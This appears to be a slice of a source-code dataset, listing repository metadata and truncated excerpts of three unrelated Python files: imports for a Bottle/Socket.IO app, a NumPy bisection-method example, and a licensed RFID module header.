0
385
0.237654
6133d641ec757816ea3c46a2cb3da107b1a91db7
16,690
py
Python
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
6
2015-02-25T02:00:44.000Z
2016-04-17T09:45:50.000Z
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
null
null
null
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
2
2015-04-10T18:52:59.000Z
2021-10-06T03:41:33.000Z
#!/usr/bin/env python import re import json import math import time import random import hashlib import sqlite3 import weakref from collections import Counter, deque try: import cPickle as pickle except ImportError: import pickle import bottle from bottle import Bottle, static_file from socketio import socketio_...
30.235507
200
0.666028
12,575
0.753445
0
0
805
0.048232
0
0
3,219
0.19287
6136fde30ad02b90e794e3bd0cef50c81f080ec1
501
py
Python
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
1
2019-12-03T01:34:19.000Z
2019-12-03T01:34:19.000Z
from numpy import zeros, sign # Define bisection function def bisection(f,a,b,n): c = zeros(n) for i in range(n): c[i] = (a + b)/2.0 if sign(f(c[i])) == sign(f(a)): a = c[i] else: b = c[i] return c # Define function def f(x): return -x**2 + 6.0 * x - 5....
17.892857
39
0.497006
0
0
0
0
0
0
0
0
113
0.225549
613736246f4205c16ec810c7604bde7e0bc2ad3e
1,435
py
Python
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
334
2015-06-04T15:14:28.000Z
2022-02-09T11:14:17.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
89
2015-06-13T19:15:35.000Z
2019-12-03T19:23:20.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
112
2015-06-06T19:16:54.000Z
2020-10-19T01:27:55.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2017 Ericsson AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
28.7
74
0.705923
623
0.434146
0
0
0
0
0
0
656
0.457143